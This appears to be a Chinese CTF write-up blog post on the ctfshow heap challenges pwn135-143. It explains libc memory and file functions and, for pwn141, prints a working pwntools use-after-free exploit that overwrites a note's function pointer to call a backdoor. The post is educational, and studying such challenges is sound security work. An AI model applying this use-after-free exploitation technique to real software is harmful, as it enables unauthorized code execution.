为防止题目难度跨度太大,135-140为演示题目阶段,你可以轻松获取flag,但是希望你能一步步去调试,而不是仅仅去拿到flag。 如何申请堆?

pwn135

没啥说的,ida反编译进去看一下源码就知道怎么做了。

简单了解一下堆的知识

malloc函数:

作用:从堆内存中分配指定大小的内存块

1
void* malloc(size_t size);

参数size 是需要分配的字节数。

返回值:成功时返回指向已分配内存的指针;若分配失败,则返回 NULL

特点:分配的内存不会被初始化,可能包含垃圾数据,需要手动清零。

calloc函数:

作用:分配并初始化内存块(每个字节都会杯初始化为0)。

1
void* calloc(size_t num, size_t size);

参数

  • num:需要分配的元素个数。
  • size:每个元素的大小(字节)。

返回值:成功时返回指向已分配内存的指针;若分配失败,则返回 NULL

特点:分配的内存会被初始化为 0。

realloc函数:

作用:重新调整已分配内存的大小

1
void* realloc(void* ptr, size_t new_size);

参数

  • ptr:指向已分配内存的指针。如果传入 NULLrealloc 的行为与 malloc 类似。
  • new_size:重新分配的字节数。

返回值:成功时返回指向调整后内存块的指针;若失败,返回 NULL

特点

  • 如果新的大小大于原内存块,可能会移动数据到新的位置。
  • 如果新的大小小于原内存块,超出的部分将会被释放

pwn136

也是一样的

在我看了来,这道题就是简单讲了一下free函数

free函数:

作用:它是与malloc函数配套使用的内存释放函数,用于将malloc或去哦他分配内存函数申请的内存还给系统

1
void free(void *ptr);

参数 ptr: 指向由 malloc 或其他分配函数申请的内存块的地址。

效果: 将这块内存归还给系统,释放其占用的资源。

pwn137

2024.10.25

还是了解一些知识点

getpid():

作用:获取当前进程的PID

1
pid_t getpid(void);

返回值:返回调用进程的 进程 ID,数据类型为 pid_t(通常是一个整数类型)。

sbrk()函数:

作用:于获取当前进程的 数据段 (也称为堆)的末尾地址。

1
void *sbrk(intptr_t increment);

返回值:这个函数返回的是一个指针,指向当前堆的末尾。

brk函数:

作用:设置进程的数据段(堆)的末尾地址。它通常与 sbrk 一起使用,但它的功能更为直接,主要用于控制堆的大小。

1
int brk(void *end_data_segment);

该函数尝试将数据段的结束地址设置为 end_data_segment,如果成功则返回 0;如果失败则返回 -1。

pwn138

mmap函数:

作用:mmap() 是一个 Linux 系统调用,用于将文件或匿名内存区域映射到进程的地址空间。

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

​ 参数 含义

  • addr 指定映射的内存地址(通常传 NULL,让内核决定)

  • length 需要映射的内存大小

  • prot 保护标志:可读、可写、可执行等(`PROT_READ

  • flags 标志:匿名映射、共享映射等

  • fd 文件描述符(-1 表示匿名映射)

  • offset 文件偏移量(匿名映射传 0)

这里做过一道用mmap函数进行分配内存写入shellcode的题

但是我觉得最多出道mprotect函数

pwn139

fseek()函数:

作用:fseek() 用于将文件指针移动到文件的指定位置。

1
int fseek(FILE *stream, long offset, int whence);

参数说明

**stream**:表示文件指针,即目标文件流。

**offset**:相对于 whence 的偏移量。

**whence**:位置基准,可以为以下 3 种:

  • **SEEK_SET**:从文件开头开始偏移。
  • **SEEK_CUR**:从当前指针位置偏移。
  • **SEEK_END**:从文件末尾开始偏移。

返回值:

  • 成功返回 0,失败返回非零值。

ftell函数:

ftell() 用于获取当前文件指针的位置(以字节为单位)。

1
long ftell(FILE *stream);

参数说明:

  • **stream**:表示文件指针。

返回值:

  • 返回当前文件指针的偏移量,从文件开头算起。
  • 若出错,返回 -1L

fread函数:

fread() 是 C 标准库中的一个函数,用于从文件流中读取数据。

1
size_t fread(void *ptr, size_t size, size_t count, FILE *stream);

参数说明

  • **ptr**:指向存储读取数据的内存区域的指针。
  • **size**:每个数据项的字节数。
  • **count**:要读取的数据项的数量。
  • **stream**:指向目标文件流的指针。

返回值

  • 返回实际读取到的项数(可能小于 count),可通过与 count 比较来检查是否成功读取。

pwn140

pthread_create()函数:

用于创建一个新线程

1
pthread_create(&newthread, 0LL, threadFunc, 0LL)

参数

  • **&newthread**:指向新线程的线程标识符的指针(类型为 pthread_t)。
  • **0LL**:线程的属性,通常可以传 NULL(或 0),表示使用默认属性。
  • **threadFunc**:指向线程要执行的函数(线程的起始点),该函数必须符合特定的函数原型。
  • **0LL**:传递给线程函数的参数,通常可以传 NULL

返回值

  • 成功返回 0,失败返回错误码。

pthread_join()函数:

pthread_join() 用于等待指定线程终止,并可以获取该线程的返回值。

1
pthread_join(newthread, &thread_return)

参数

  • **newthread**:要等待的线程的标识符。
  • **&thread_return**:用于接收线程的返回值的指针,类型通常为 void**

返回值

  • 成功返回 0,失败返回错误码。

pwn141

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec pwn
[*] '/home/bbq/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~$

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-10h] BYREF
unsigned int v5; // [esp+4h] [ebp-Ch]
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
v5 = __readgsdword(0x14u);
init();
logo();
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice!");
}
else
{
switch ( v3 )
{
case 3:
print_note();
break;
case 1:
add_note();
break;
case 2:
del_note();
break;
default:
goto LABEL_12;
}
}
}
}

看着还是很经典的

也是看见后门函数了哈

1
.text:08049684 use             proc near

怎么利用呢???

首先找一下漏洞在哪???

UAF漏洞

ok

1
2
3
4
5
6
if ( *(&notelist + v1) )
{
free(*(*(&notelist + v1) + 4));
free(*(&notelist + v1));
puts("Success");
}

这里只是单纯进行了 free,而没 有设置为 NULL,那么显然,这里是存在 UAF漏洞。

正确的写法

1
2
3
4
5
6
if (*(&notelist + v1)) {
free(*(*(&notelist + v1) + 4));
free(*(&notelist + v1));
*(&notelist + v1) = NULL; // 避免UAF
puts("Success");
}

有后门,我们只需要修改 note 的 put 字段为use函数的地址,从⽽实现在执行print note 的时候执行后门函数。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28234)
elf = ELF('./pwn')
use = elf.sym['use']


def add(size, content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def delete(idx):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
def show(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))



add(32, "aaaa") # 添加第一个笔记,大小为 32 字节,内容为 "aaaa"
add(32, "bbbb") # 添加第二个笔记,大小为 32 字节,内容为 "bbbb"
delete(0) # 删除第一个笔记
delete(1) # 删除第二个笔记
add(8, p32(use)) # 添加一个新笔记,大小为 8 字节,内容为 `use` 函数的地址(经过打包)
show(0) # 查看第一个笔记的内容
io.interactive() # 与程序进行交互

简单了解一下UAF漏洞

pwn142

先放着

off-by-one漏洞

pwn143

样子都差不多

ida打开也是看见后门了

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

找一下漏洞

house of force